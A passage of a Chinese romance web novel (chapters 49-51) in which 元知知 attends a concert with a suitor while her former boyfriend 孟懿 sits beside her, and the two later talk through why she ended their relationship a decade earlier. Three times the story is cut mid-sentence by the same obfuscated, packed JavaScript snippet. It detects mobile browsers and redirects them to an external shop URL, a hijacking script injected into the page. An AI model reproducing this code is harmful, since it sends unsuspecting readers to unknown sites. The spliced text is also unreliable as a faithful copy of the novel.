“不至于,我倒觉得挺舒服的,很像你的风格。” 并非客套,车内没有放置什么闷得人头昏的香,书卷文件虽然有些杂却不显得乱,白色的座椅没有沾染任何污迹灰尘,可见主人平日也是常常打理。 “音乐会结束大概八点钟,那个时候再去吃饭你看合适吗?” 元知知点点头,半开玩笑道:“所里食堂今天中午的菜还不错,我猜应该能再坚持几个小时?” 晚上的音乐会是一个欧洲国家的爱乐乐团巡演,林鹤之选的票是二楼第一排的座位,刚好是欣赏音乐会的最佳位置,他们到达时已经有不少观众都到了。 他们刚找到座位坐下四周灯光就有规律的暗了下来,帷幕拉开,激昂雄浑的管弦乐在礼堂奏响,开场就将所有人的情绪拉入了音符之中。 元知知侧目看了身边人一眼,林鹤之正全神贯注的看着舞台,完全没有察觉到她的目光。 她把头转了回来,在心里默默回忆着入场前看到的这场演出的曲目单。 一首磅礴的《弦乐序曲》结束,元知知双手搭在一起同周围观众一起小幅度的鼓起了掌。 几道移动的黑影倏忽间遮住了视野中的舞台,是观演迟到的几个观众等到一个曲目结束后才被允许了入场。她感觉到自己的椅背被牵动着微微起伏一下,身旁的空座上多了一道热源。 她下意识想朝身边看去,但林鹤之这个时候兴奋的靠向她耳语,这是他留学期间最喜欢的乐团,没想到回国后他们也来了国内演出,这让他有些感慨。 元知知笑着附和,没察觉到身旁观众停顿的动作。 接下来是一首漫长的协奏曲,林鹤之重新目光放到了舞台上,元知知也不再言语,调整了一个舒适些的坐姿,手随意搭在身侧,将头轻轻靠在座椅背上。 音乐厅的空调效果很好,她的手算不上热,因此在另一只滚烫的手触及到她的手背时她被这突兀的接触吓得险些叫出声。 来自另一个人炙热的体温靠近了她,肌肤间的热气互相传递着,她很清楚的感受到这气息来自一个男人。 元知知极快的收回了自己的手,眉眼带些冷厉的转过头,很快欲要发作的神情微微一顿,孟懿正从容地坐在身旁看着她,嘴角牵着些似笑非笑的弧度。 49. 第 49 章 “孟懿?”压得极低的气声顺着空气流入男人的耳廓,让他心尖痒痒的,他抬手轻轻扶着她的头转回了舞台的方向。 “嘘,欣赏音乐会呢。” 元知知瞪了他一眼,他明知道她没有多喜欢什么高雅的室内乐古典乐。 另一侧的林鹤之始终没有注意到这边的动静,还是在她因恼怒轻啧了一声时才回了头:“怎么了?” 她忙掩下神情:“没什么,不好意思打扰到你了。” 林鹤之闻言点了点头不再询问,很快重又沉浸在了楼下的演出中。 元知知松了口气,听见身边那人带着气音的笑声,明明她什么都没有做,跟这两个男人也不是什么确定的关系,此刻却莫名有一种背后与偷偷人私会的心虚感。 孟懿倒是自在得很,她没好气的瞥他一眼,欲说什么,看了眼周围人沉浸在音乐中的模样,最终个还是把话咽下。 一直到最后一首交响乐结束收音效果极好的大厅内掌声仍然经久不息,她心里稍稍松懈一些,整场音乐会里孟懿总是时不时骚扰她一下,要么碰碰手背、要么磕磕鞋尖。元知知心里的弦始终绷着,但也拖了他的福,这一次她没有在音乐会里犯困了。 她担忧的用余光睨了睨林鹤之,怕演出结束后他会察觉到自己身旁另一个熟悉的男人。即使并没有任何值得亏心的地方,但场面显然会变得尴尬,但这明显是她多虑了。 林鹤之满脸意犹未尽,状态明显比之前几次见面时活跃许多,情绪也昂扬高涨:“这个乐团在整个欧洲都是一票难求,一听说他们要来的消息我就想一定要带你来。” 元知知微笑,拽着节目单一时间不知道应该说什么。 林鹤之并未察觉,仍在兴致勃勃讲着乐团的哪几位乐手今年刚提了首席、抑或是他曾经很喜欢的小提琴一提如今已经离职进入别的乐团了...... 他滔滔不绝讲了好一会儿才意识到她一直不曾回应过什么,面色变得有些犹疑:“你是不是对这种音乐会不太感兴趣。” 元知知刚刚状似不经意的往旁边看了一眼,发现身旁的座位已经空了。孟懿不知道什么时候和其他观众一起退了场,悬在半空的心总算是落了地,她这才意识到林鹤之好似在等她回答。 “什么?不好意思,可以再说一遍吗?” 男人面色未变,但周身的活跃气氛明显慢慢降了下来,他们之间莫名有些尴尬起来,他再度重复了一遍刚才的问题。 元知知想了想:“这类音乐会我确实——”注意到他眉头轻挑,临到嘴边她改了口风:“确实是挺喜欢的,就是平常工作忙来得不多,不像你那么了解。” 林鹤之点点头,但也没再继续聊起让他兴奋的话题,他站起身绅士地让她走在前面离场。 “现在是去餐厅?” “嗯,已经提前订好了位置,他们夜里氛围不错,你也许会喜欢。” 林鹤之的确开始慢慢了解了些她的喜好,餐厅的环境的确是她喜欢的,装修的格调与整个氛围的幽静都是她平日里会选择反复来用餐的场所。 但......她实在是太累了。 从早上开始一直到下班连十分钟都没有眯上一会儿,本就疲惫了一天的精神在经过了这么一场音乐会后更向睡意屈服了大半,下车前她强打起精神努力掩下面上的困意,心里实则已经开始偷偷的数着时间了。 像是回到了大学时代安排在早八的思政课,恨不得把眼睛放在走动的分针上能第一时间确定下课的点到了。 “那今天就到这儿?” 元知知率先结了账,林鹤之抢单没抢过她,顺势询问起了她周末两天的时间安排是否方便让他来请她吃饭,她只说周末还不是个定数,没有直接答应下来。 回去的路上也是林鹤之开车,到了家楼下时她已经不知道什么时候睡了过去,最后还是他把她叫醒了过来。 “最近工作很忙?” “也没有,最近刚好快要忙季了,在做准备工作所以事情多了一些。” 她刚刚才从温暖的浅眠中醒来,车外夏夜的晚风已经吹了起来,带着丝丝入骨的凉意,元知知刚一下车就打了个微微的寒颤。 林鹤之也下了车,把搭在座椅背上的薄外套取出来想要披在她的肩上,她推了回去。 “只穿过一次,你披着吧别感冒了。” “不用了,”大概真是最近没休息好抵抗力变弱了,她的太阳穴开始弹跳着疼,“林先生,如今我们工作都正是忙的时候,其实我觉得咱们也没必要见面这么频繁。” “当然,这只是我自己的想法,也不想给你增加太多负担,如果你觉得这样不合适的话,其实林先生你也可以再去多多了解一下家里人介绍的其他女孩儿,说不定有和你非常合拍的。” 这话就差挑明了说他们就到此为止吧。最后林鹤之离开时的表情是她从未见过的难看,即使这样他还是比寻常男人保持了更得体的风度。 元知知深吸一口气,她最开始的确是抱着好好了解这个人后续可以发展的心态,但随着两人接触越来越多,她很快就意识到了他们二人其实并不合拍。 大概是从读书到就业始终没有离开过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555717|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校园,在某一领域又有着极佳的天赋,林鹤之在某些方面仍带着些稚子的纯粹,元知知常常觉得自己和他在一起显得突兀,并非外在条件的突兀,而是心理思维的不适配。 海河大学的家属院是跟着海大新校区的建立起来的,有些年头了,老房子的楼道显得有些昏暗,元知知使劲跺了两下脚也没能让声控灯如愿亮起。 “啪啪”。 清脆的掌声响起,连着上面两层楼的楼道灯都亮了起来,视野一瞬间变得清晰。 “终于结束约会舍得回来了?” 元知知白了孟懿一眼,脸上的疲态终于脱去掩饰尽数显现:“你这是不打算在医院干了,天天闲成这样?” “刚好有假。” 其实是孟懿跟同事换了夜班,连轴转了七十多个小时下了班后简单换洗了衣服就马不停蹄赶了来。 元知知边掏钥匙边往楼上走,他缀在她的身后:“音乐会怎么样?你现在分清楚小提琴和中提琴了吗?” 听着他略带嘲笑意味的话,元知知轻轻朝后踢了一脚,他黑色的长裤马上出现了鲜明的脚印。 他们第一次约会的时候是元教授给了两张音乐会的票让她和朋友去看,元知知不经意的提起,孟懿立马就答应了。 最后出来时两人都一个哈欠接一个哈欠的打,还都不想让对方看出来。 论讨厌倒是不讨厌,但也绝对称不上喜欢,哪怕在外人看来他们的家庭出身都是会让他们从小接受古典乐熏陶的类型,自那以后两人约会再没去过这种高雅的场合了。 “他刚刚抱你了?”没沉默一会儿孟懿就忍不住先出了声。 “没——” 她被一把拥进了一个带着浓重烟草味儿的怀里,闻起来像是把一盒子烟都抽了个干净,他也并不如表面上看起来的那样平静。 元知知把话咽了回去,楼道的声控灯陆续灭掉了,两人相拥着陷入黑暗里,彼此的心跳声缠绕着响起。 孟懿的头越来越低,摩挲着从耳畔来到了脸颊,快要靠近嘴唇时被她一把推开:“明天还要上班,我先走了,你也早点回去休息吧。” 她的身影很快消失在转角处,突兀的就像他刚刚从未见到过她一样,唯有不匀的喘息还时有时无的传来,然后渐行渐远。 孟懿摸了摸自己的唇,轻轻笑了起来。 但兜里的一阵震动很快就打断了思绪,他取出手机看了一眼,是高中班主任老刘的电话。 毕业十年老刘从来也不怎么主动联系他们这些早就离开了学校的学生,这个时候怎么突然来了电话? 50. 第 50 章 “孟懿,休息了吗?这么晚了打扰到你了。” “没有刘老师,您是有什么事情吗?” “我女儿今年不是要去英国读研了嘛,这眼看着还有一个月就要去了,联系好的房东突然说不租了。本来这算不上什么大事,但恰好是旺季,那一个区都找不到适合留学生的房子了,我刚好想着你当初不是在英国买了套房?不知道你们家里有没有出租的意愿。” 孟懿当初一拿到offer孟董事长就让秘书在学校附近买下了一套小公寓,即使最终没有去读书,但至今这套房还在他的名下。 “我的房子在剑桥,是另一个郡,但我刚好有朋友住在曼彻斯特,我托他帮您问问。” “好好,那太好了,”老刘在电话那头大松一口气,可以见得这些日子为了即将出国的女儿愁成了什么样,“你说你爸妈当初也舍得,还那么小的孩子硬要你一个人去异国他乡生活,我现在只要一想想女儿要在那么远的地方待那么久心就揪着放不下来。” 说到这里老刘有些感慨:“谁也没想到你最后竟然拒绝了那么好的学校,选择留在国内高考学医,那个时候我就想这小子能成大事,只是元知知那小姑娘可是为你伤心的不得了,成天红肿着一双眼睛来上学。” “什么?”孟懿突然提高的声音引得身旁路过的居民诧异的侧目。 “嗯?” “刘老师您刚刚是说,知知每天都在哭?” 刚上高中时的他对那个病态的家已经极致厌烦,有了反抗的意识、没有反抗的能力。因为忤逆父亲被关在老宅里不能出门上学一直是常事,但这样的情况随着他越来越会掩饰在高三时已经很久没有发生过了。 直到他因为出国读书的事情再度与孟董事长发生根本的分歧。 在高考备考最紧要的时候,整整半个月的时间他一步也不能踏出那座宅子一步,最后从二楼阳台翻走回到学校时元知知展现出来的一切都与之前无异,他便也从未察觉此前她的异常。 “是啊,问她怎么了也不肯说,后来倒是不哭了,就是成天心事重重的,”老刘思考了一会儿,补充着,“不过从你回了学校后她就没再出现这种让人担心的状态了,我当时猜着大概也是在担心你以后的前程吧,毕竟拒了牛津连我们旁人看着都觉得可惜。” 孟懿脑子里嗡一声,恍了神:“担心我的……前程?当时她知道我要出国的事情?” “当然知道,不过我也不清楚她当初是怎么知道这回事的,你让老师保密老师可是谁也没说。” 大脑本能控制下他没聊几句就托辞挂了老刘的电话,他立在原处,神情茫然了许久,半晌后拨通了另一通电话。 “这号码……是孟哥吗?孟哥咱们真是好久不联系了。” “我问你个事儿。” - 元知知下班时看见孟懿还以为自己看错了人,她打开手机锁屏看了一眼:“没记错的话你今天应该已经回医院上班了?” 孟懿看着她,嘴唇轻动:“现在有时间吗?我想和你谈谈。” 她睨着他,站在高大的男人面前分明娇小,但莫名其妙带着些居高临下的意味:“我看你是真想辞职了,你们华清一院的医生什么时候变得这么闲了?” 路边的出租车摁了两下喇叭催促,孟懿拉开了车门,元知知把厚重的电脑包递给他自己坐进了后座,他拎着包独自坐在了前面副驾驶的位置上。 他分明不是海河市人,但却无比熟悉这个城市一般,找到的餐厅是元知知这个本地人都不曾听说过的。 服务生领着他们在竹林里七拐八折,最终停在一处古典亭阁似的精致建筑前:“您预定的包厢。” “听说海河这家私房菜味道很不错,你尝尝,喜欢的话下次再来。” 元知知放在他身上的眼神逐渐探究起来,他不是第一次谈及“以后”“下一次”这类字眼,但是是第一次给她如此迫切的感觉,就像是缺乏安全感的小孩想要提前确认什么。 “你有话想跟我说?” 孟懿喉咙一阵翻滚,仿佛在克制什么,嘴唇一度紧抿。 她看着他,浅色眼眸闪着灼灼的光:“说吧,趁我还愿意听的时候。” 令人不安的气氛萦绕在方桌周围,元知知轻轻动了动有些僵直的腰,孟懿却以为她欲要起身离开了,宽厚的掌心连同着修长的手指蓦地盖在了女人的手背上。 纤细的指节动了动,覆盖在手背上的力道加重了些许,在温度适宜的空调房里让她感到了些许的热意。 “我已经知道了。” 元知知有些迷茫:“知道什么?” “当初我们分手,是因为我……拒绝了国外的offer?” 她下意识咬紧了唇,直到微弱的血腥味在口腔里蔓延开来,才猛然松开,重又挂上若无其事的笑意:“现在听起来还真有些可笑是吧,我——” “对不起。” 她噤了声。 少年少女初碰青涩的感情,都欢喜的不知道怎么办才好,将对方放在太珍重的位置上,不知道怎么做才不会伤到对方,又不知道怎么做才能把自己万分之万的爱意尽数倾诉。 元知知在老刘办公室看到那几份国外大学准予录取的复印材料时只感觉浑身被人当头一盆凉水浇下,她想到上个月孟懿还在兴致勃勃计划着他们上同一个大学后的生活、在畅想着努力表现优秀早早走到见父母这一步。高考目标榜上跟在他们名字后的“华清大学”被摩挲了又摩挲,她以为他们都在共同期待着这一份未来。 那一刻心沉到了谷底,她不知道自己是怎么走出老刘办公室的,直到办公室里传来老刘和人通话的声音。 “喂,您好?是孟懿母亲吗?” 机械的脚步猛然顿住,元知知自认自己向来是一个品行端正的人,从未想到有朝一日会藏在班主任办公室的门后偷听别人谈话。 老刘大概也不曾想到自己心爱的好学生这么大胆,通话声音开得不小。 “孟懿之前都应得好好的,怎么突然就改主意了?” “孟懿妈妈,您的心情我们理解,只是孩子有自己的想法——” “什么自己的想法,别以为我不知道,你们学校不就是想要升学率舍不得放走我儿子,我告诉你,你们这是毁了一个孩子的未来!是纯粹的自私!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579927|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “据我所知孟懿是自己想要学医……” “他自己想要学医?他前两天还答应的我和他爸好好的要出国去读商科,这会儿又要学医了?刘老师你可别唬我,要不是你们撺掇的他能这样?” “你们知不知道从剑桥毕业后他会直接进公司接管他爸的位置,当一个医生能干什么?辛辛苦苦打一辈子工赚个零头?” 办公室里沉默了一阵,老刘显然也不知道该怎么应付这个棘手的家长。 元知知全身的血液却像是冻住了般,她一把扶住了墙才撑住了自己的身体,她想起了这段时间来他有多不对劲。 他总是问她想不想要跟他上一个大学,她坚定的回答“当然想。” 他问她如果他以后不学医了她觉得怎么样,她问他:“那你会学什么?你明明就是为学医而生的人啊。” 他说他仍在对未来感到犹豫,他不知道该不该走在原本选择的那条路上,她说:“去走你一开始就坚定下来的方向。” 最后的最后,他问她:“如果我们以后异地好几年,你会接受么?” 元知知不明白他为什么会问出这样的问题,但还是认真思考了很久,最后她找到他,坦白了自己的真实想法:“我不能确定,毕竟真心总是瞬息万变不是么?何况还是相隔那么远的两个人。” 他低声应下,那时她还不知道他在想些什么。 “我看你们就是要毁了我的儿子!” 那道尖锐的女声被电流模糊着传入元知知的耳朵里,从此烙印在她的心里整整十年。 这一刻她终于意识到即使孟懿瞒着她申请了国外学校也好,或是报考了其他更好的学校也好,她只希望他能把自己的人生走成顺利坦途。 然而现实却是,她好像成为了孟懿前途的绊脚石,而她根本无法承受他那样重的未来。 你们就是要毁了我的儿子! 像是魔咒一样,高考前的那段时日里她数次从梦里惊醒,梦里的她被一群人包围着,而他们都在重复这一句话。 她一直在等他告诉她,但他始终没有要开口的意思。 她却也没有勇气主动开口问他一句,她害怕听他亲口承认他就是为了她留在国内,为了她推拒掉这么好的学校,为了她想要选择那个前途称不上太好的专业。 “为了她”这三个字变成了沉重的枷锁,就连当初随口一句“以后要找个牙医男朋友”在这一刹那都成了一种过错。 她没办法面对这些,那也意味着她没有办法原谅自己。 元知知终于想到了方法,一个再笨不过的方法。他们应该分手,只要她和他分了手,他应当就会放下她去奔赴自己的前途了。 于是她在高考结束的那个暑假主动切断了这段关系,她变成了一个胆小的缩头乌龟,缩回了自己的安全区里。 直到她前不久在华清一院遇到了身为她主治医生的他,那场梦魇再度卷土重来。 从回忆抽离,她抬头,孟懿的脸上早已出现两道浅得快让人看不见的泪痕,泪珠正一滴一滴从他紧绷的下巴滑落。 她心间颤了颤,和那天晚上不同,这是她第一次真正直面孟懿的眼泪。 51. 第 51 章 “对不起知知,对不起。” 孟懿知道满脸眼泪的自己现在有多狼狈,但一想到那个时候的元知知有多无助又有多自责,他只觉得整颗心都被拧了起来,只觉心疼得要命。 他意识到自己错得有多离谱,他太自我了,却连身边人在想什么都没有意识到,而这一错过就是十年。 “不用道歉,”元知知垂下眸子,让他看不清楚她藏起来的是怎样的情绪,“你之前说得对,我们两都有问题,我什么都憋在心里,什么都不肯说出来。” 孟懿手都开始颤抖了,针扎似的心痛如潮水翻涌,剧烈的懊悔堵住了咽喉,她仅仅是一句让人听不出情绪的话就已经让他发不出声来。 元知知闭上了眼睛,好像这样就能从当年的梦魇中逃离出来,她是不是真的毁了他的一生?这个问题一遍又一遍重复着拷问她自己。 “你当时......”后面的话再也问不出来了,何需再问呢,他了解她,他比谁都清楚那时候的元知知深陷在怎样的痛苦中。 回想起重复后没多久的一个夜晚,醉酒的她独自坐在酒店大堂的沙发上,迷蒙的盯着他,吐字时散发出浓郁的酒气:“你选择做牙医,不是因为我吧?” 时至今日他才能感受到这句话中的如履薄冰与战战兢兢,哪怕已经事隔经年,这样的不安到底折磨了她多久呢?他光是想象着还身为高中生的元知知骤然被这样沉重的心理负担捆绑所要经历的折磨呼吸就已经变得急促起来,更何况他的想象或许还及不上她所经历的万分之一。 回忆纷至沓来,他又想起前不久她问他为什么会拒绝掉那桩很显然对他有极大助力的联姻,他的回答是“因为我爱你。” 在他看来是坚定的表明着心意,但在她看来很可能成了另一桩负担,那个时候她能感受到的压力与不安或许彻底盖过了其他所有可能的感受。 “知知。” 即使是在刻意回避他的目光,但她在这样郑重的语气下还是不由得抬起头看向了他。 孟懿的脸上仍然带着泪,因此也冲淡了他一冷起面孔就显得生人勿近的冷漠,此刻的他像是一只受了伤的猛兽,所有的攻击性都已褪去,连看着身旁的人时也变得小心翼翼:“无论是当初选择拒绝出国还是后来选择学口腔,都不是因为你。” “不,这样说不准确,的确是因为你,”孟懿笑了一声,苦涩得快要拧出水来,“但如果没有你,我最后也会走上现在的路,区别只是我会绕得更远、等得更久。” 他始终注视着她,让她清清楚楚看见了他眼里所有的悔恨、痛苦、自责和软弱,没有躲避分毫:“在华清一院重新见到你,你不知道我有多高兴,所有面对你的冷漠疏远都只是我为了试探你的伪装。因为你的出现就连我夜里的睡眠都好了很多,我一开始既生气又困惑你到底为什么要一次次推开我,但我知道无论怎样我只是想重新回到你身边,现在才明白......都是妄想。” 元知知这些时日已经在慢慢容许接纳他的靠近,他既惊喜又不安,面对着她时他总是有着过分敏锐的洞察力,他很清楚的察觉到她的心保有着始终不肯前进一步的距离,甚至从没想过真正接纳他。 他本以为时间会冲淡一切,只要他还能待在她身边,她迟早有一天会重愿意敞开心扉。 但知道他曾给她带来这样大的痛苦以后,孟懿已经彻底绝望了,他没有勇气也没有资格再说出他始终爱她这种话。 一闪而逝的无望被她敏锐的抓住了,她听见他说:“我给你说这些,不是为了让你卸下心理负担刻意撒的谎,更不是为了让你能够放下过去和我重新开始,哪怕今晚之后我们再也不见面了,我也只是想明明白白告诉你,这一切都不是你的错。” “相反,我应该感谢你,如果不是你给我的勇气或许事到如今我还在那个混乱的家里内斗得头破血流,终其一生也没办法为自己过这一场人生,知知,遇见你是我会感谢一辈子的事情。” “这话或许说得太重,但我能为自己而活、能找到如今生活的意义,都是因为你。” 她从来没有毁了他,他也从来不会把这样沉重的担子压在她的身上。所谓“一切都是为了你”的前提应该是从不会让彼此感到负担,十八岁的少年少女对待这段感情或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592061|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许不够成熟,但都足够认真。 “哪怕我真的是因为你一句话选择放弃世俗意义上的‘成功’而走向另一条称得上平凡的道路,那也是因为我对自己的未来不够负责,所有的后果也全都该有我自己来承担。你没有做错任何事,从此以后也不要再有这样的心理负担了。” 元知知其实觉得这么多年过去了,她即使在意也能很好的处理这些折磨着她的情绪,这没有和他见面的几年里不也好好的过来了吗? 但这一刻一直悬在心间的一颗巨石轰然落地,她第一次感到前所未有的放松与安心,她原来是被困在过去很久很久了,比她想象中的还要更久。 禁锢着心的枷锁被一把正好匹配上的钥匙轻轻拧开,从此伤痕累累都在慢慢愈合。 她突然觉得有些好笑,他们怎么就因为这些事走到如今这一步呢?她怎么会胆小成那样。 但她没有立场更没有资格指责十年前的自己,那个时候的她也是做出了她认为最好的选择,哪怕这个选择是“退缩”。 菜已经陆陆续续上了桌,鱼贯而入的服务员打破了他们沉寂下来的气氛,元知知捏起筷子,满桌子的菜无一不是她喜欢的,但却无从下手。 夹了一筷子里脊肉,咬了一口就没再动过第二次筷子。 “不合胃口?” “不是。” 孟懿搁在桌上的手无意识的转动把玩着已经空掉的茶杯:“我不应该在饭前跟你说的是不是?” 元知知拨弄着空碗,没有回答,他苦笑一声站起了身:“我想起来等会儿还有点事情,可能没时间吃饭了,我先走了,你......照顾好自己。” 珍而重之的道别像这是最后一次见面一样郑重,就连他的背影也无端矮了一截,像一只盛满了孤独的孤舟。 木质的包厢门被推开,元知知站了起来:“孟懿。” “留下来吧。” 他转过身来,满眼的不可置信,嗓音氤氲着细不可查的颤抖:“你......你说什么?” “留下来吧,无论只是这顿饭的时间,还是明天,或者是更远的以后。”